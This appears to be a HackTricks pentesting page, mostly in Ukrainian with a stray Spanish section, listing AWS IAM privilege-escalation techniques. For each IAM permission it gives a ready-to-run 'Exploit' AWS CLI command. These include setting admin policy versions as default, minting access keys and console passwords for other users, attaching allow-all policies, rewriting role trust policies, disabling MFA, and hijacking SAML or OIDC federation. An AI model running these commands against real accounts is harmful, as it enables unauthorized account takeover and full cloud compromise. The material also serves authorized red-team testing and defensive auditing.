AWS - IAM Privesc

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

IAM

Для отримання додаткової інформації про IAM дивіться:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Надає можливість створити нову версію IAM policy, обходячи потребу в дозволі iam:SetDefaultPolicyVersion шляхом використання прапорця --set-as-default. Це дозволяє визначати власні дозволи.

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: Безпосередньо підвищує права доступу, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.

iam:SetDefaultPolicyVersion

Дозволяє змінити версію за замовчуванням IAM-політики на іншу існуючу версію, що потенційно може призвести до підвищення прав доступу, якщо нова версія має більше дозволів.

Bash Command:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Вплив: Косвене privilege escalation шляхом надання додаткових дозволів.

iam:CreateAccessKey

Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до privilege escalation.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Вплив: Пряме підвищення привілеїв шляхом набуття розширених прав іншого користувача.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Дозволяє створювати або оновлювати профіль входу, включно з встановленням паролів для входу до консолі AWS, що призводить до прямого підвищення привілеїв.

Exploit for Creation:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit для оновлення:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Вплив: Пряме підвищення привілеїв шляхом входу як "any" користувач.

iam:UpdateAccessKey

Дозволяє повторно активувати відключений access key, що може призвести до несанкціонованого доступу, якщо зловмисник володіє ним.

Експлойт:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Вплив: Пряме підвищення привілеїв шляхом реактивації access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Дозволяє генерувати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного user.

Exploit для створення:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit для Reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Пряме підвищення привілеїв у межах дозволів сервісу користувача.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики.

Exploit for User:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit для групи:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Вплив: Direct privilege escalation до всього, що надає ця політика.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Дозволяє приєднувати або додавати політики до ролей, користувачів або груп, що забезпечує direct privilege escalation через надання додаткових дозволів.

Exploit for Role:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit для Inline Policies:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Ви можете використати політику, наприклад:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Вплив: Пряме підвищення привілеїв шляхом додавання дозволів через політики.

iam:AddUserToGroup

Дозволяє додати себе до групи IAM, підвищуючи привілеї за рахунок успадкування дозволів групи.

Експлойт:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Вплив: Пряме підвищення привілеїв до рівня дозволів групи.

iam:UpdateAssumeRolePolicy

Дозволяє змінювати документ політики assume role ролі, що дозволяє assume role та отримати пов'язані з нею дозволи.

Експлойт:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Якщо політика виглядає наступним чином і дає користувачу дозвіл взяти на себе роль:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Вплив: Пряме підвищення привілеїв шляхом отримання прав будь-якої ролі.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого підвищення привілеїв.

Експлойт для завантаження SSH public key:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit для деактивації MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Вплив: Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA.

iam:ResyncMFADevice

Дозволяє повторно синхронізувати MFA-пристрій, що потенційно може призвести до опосередкованого підвищення привілеїв шляхом маніпулювання захистом MFA.

Команда Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Indirect privilege escalation шляхом додавання або маніпулювання MFA devices.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

За наявності цих дозволів ви можете змінити XML метадані SAML-з'єднання. Після цього ви можете зловживати SAML federation, щоб login під будь‑якою role, яка їй довіряє.

Зверніть увагу, що після цього легітимні користувачі не зможуть login. Однак ви можете отримати XML, замінити його на свій, login і відновити попередню конфігурацію.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Інструмент, здатний згенерувати SAML metadata та увійти з вказаною роллю

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Не впевнений у цьому) Якщо атакувальник має ці дозволи, він може додати новий Thumbprint, щоб отримати можливість увійти у всі ролі, які довіряють цьому провайдеру.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Ця дія дозволяє зловмиснику оновити межу дозволів (permissions boundary) користувача, що потенційно може підвищити його привілеї, дозволяючи виконувати дії, які зазвичай обмежені його поточними дозволами.

bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Особа з дозволом iam:PutRolePermissionsBoundary може встановлювати межу дозволів для існуючої ролі. Ризик виникає, коли така особа змінює межу ролі: вона може некоректно обмежити операції (що спричинить порушення роботи сервісу) або, якщо приєднає надмірно дозволяючу межу, фактично розширити можливості ролі й підвищити привілеї.

bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks